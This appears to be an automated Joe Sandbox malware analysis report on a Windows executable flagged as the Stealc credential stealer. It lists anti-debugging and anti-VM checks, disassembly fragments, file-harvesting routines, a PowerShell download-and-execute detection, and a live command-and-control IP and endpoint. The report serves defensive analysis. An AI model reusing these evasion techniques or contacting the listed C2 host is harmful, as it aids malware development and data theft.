Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230CBF second address: 1230CC9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230CC9 second address: 1230CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5E94E4CBA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230CD3 second address: 1230CD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230CD7 second address: 1230CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F5E94E4CBAAh 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230E6D second address: 1230E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123187D second address: 1231894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E94E4CBB2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123CC7F second address: 123CC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123CC85 second address: 123CC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123F4CF second address: 123F4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250D78 second address: 1250D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250C21 second address: 1250C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007F5E94757CA3h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262343 second address: 1262349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262349 second address: 1262353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5E94757C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263156 second address: 126315B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268E5B second address: 1268E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268E62 second address: 1268E70 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268E70 second address: 1268E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268E76 second address: 1268E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5E94E4CBA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268E80 second address: 1268E84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126ADA0 second address: 126ADA6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5850330 second address: 5850334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5850334 second address: 5850347 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5850347 second address: 58503D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94757CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5E94757C9Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F5E94757CA1h 0x00000017 sbb ax, 0306h 0x0000001c jmp 00007F5E94757CA1h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F5E94757CA0h 0x00000028 sbb si, 69A8h 0x0000002d jmp 00007F5E94757C9Bh 0x00000032 popfd 0x00000033 popad 0x00000034 xchg eax, ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F5E94757CA5h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58504A1 second address: 58504A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58504A7 second address: 58504AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58504AB second address: 58504CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5E94E4CBB5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58504CB second address: 58504DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E94757C9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58504DB second address: 5850514 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F5E94E4CBB7h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5E94E4CBB5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FC88 second address: 118FC8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FE47 second address: 118FE60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F5E94E4CBBEh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe

Special instruction interceptor: First address: FDF66A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00D938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D94910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D94910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D8DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00D8E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D94570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00D94570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00D8ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D816D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D8F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D93EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00D93EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D8BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D8DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D81160 GetSystemInfo,ExitProcess,

0_2_00D81160

Source: file.exe, file.exe, 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1796107974.0000000001886000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1796107974.0000000001852000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13703
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13722
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13706
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13718
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13758

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D845C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00D845C0

Source: C:\Users\user\Desktop\file.exe

0_2_00D99860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D99750 mov eax, dword ptr fs:[00000030h]

0_2_00D99750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D978E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00D978E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7628, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D99600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00D99600

Source: file.exe, file.exe, 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: +~Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00D97B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D97980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00D97980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D97850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00D97850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D97A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00D97A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1754683786.00000000056C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7628, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1754683786.00000000056C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7628, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpzEV	file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/sEO	file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37R4	file.exe, 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpDEd	file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/es	file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpI	file.exe, 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpi	file.exe, 00000000.00000002.1796107974.0000000001852000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541560
Start date and time:	2024-10-25 00:18:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 20 Number of non-executed functions: 87
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947757131124472
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'826'816 bytes
MD5:	4af633ceed4aacaf057ea12772b50ad2
SHA1:	2fc5349b3cf3153eb303ec63dae8f9fa53f62909
SHA256:	d88360912930f05dad8b9dabaee2ee7a32d568d39566d0b1ef487be6225edefc
SHA512:	65122eae07414f5b293280ac1c56903b4ddf9ed1d06ee9679ac6b4b56667202ff215822677ec1226676a509a51d08f74cfad978cbaa4fccae4462ae018b5f97b
SSDEEP:	24576:IcxpoiTsJIMzqLYeOS9/ogvJNEqRYD9/B5Nvj2gLRzJKTDrA1rtaqYR5SArD0ZuI:L3NoDq39/XXRR6vzLMfaaTgAksC5D2
TLSH:	D08533AA2E27F6EEF6C34C72378D54722CA602601DE6BBF2AD40587453477B83D05B16
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa8d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5E9481172Ah
movsx ebx, byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
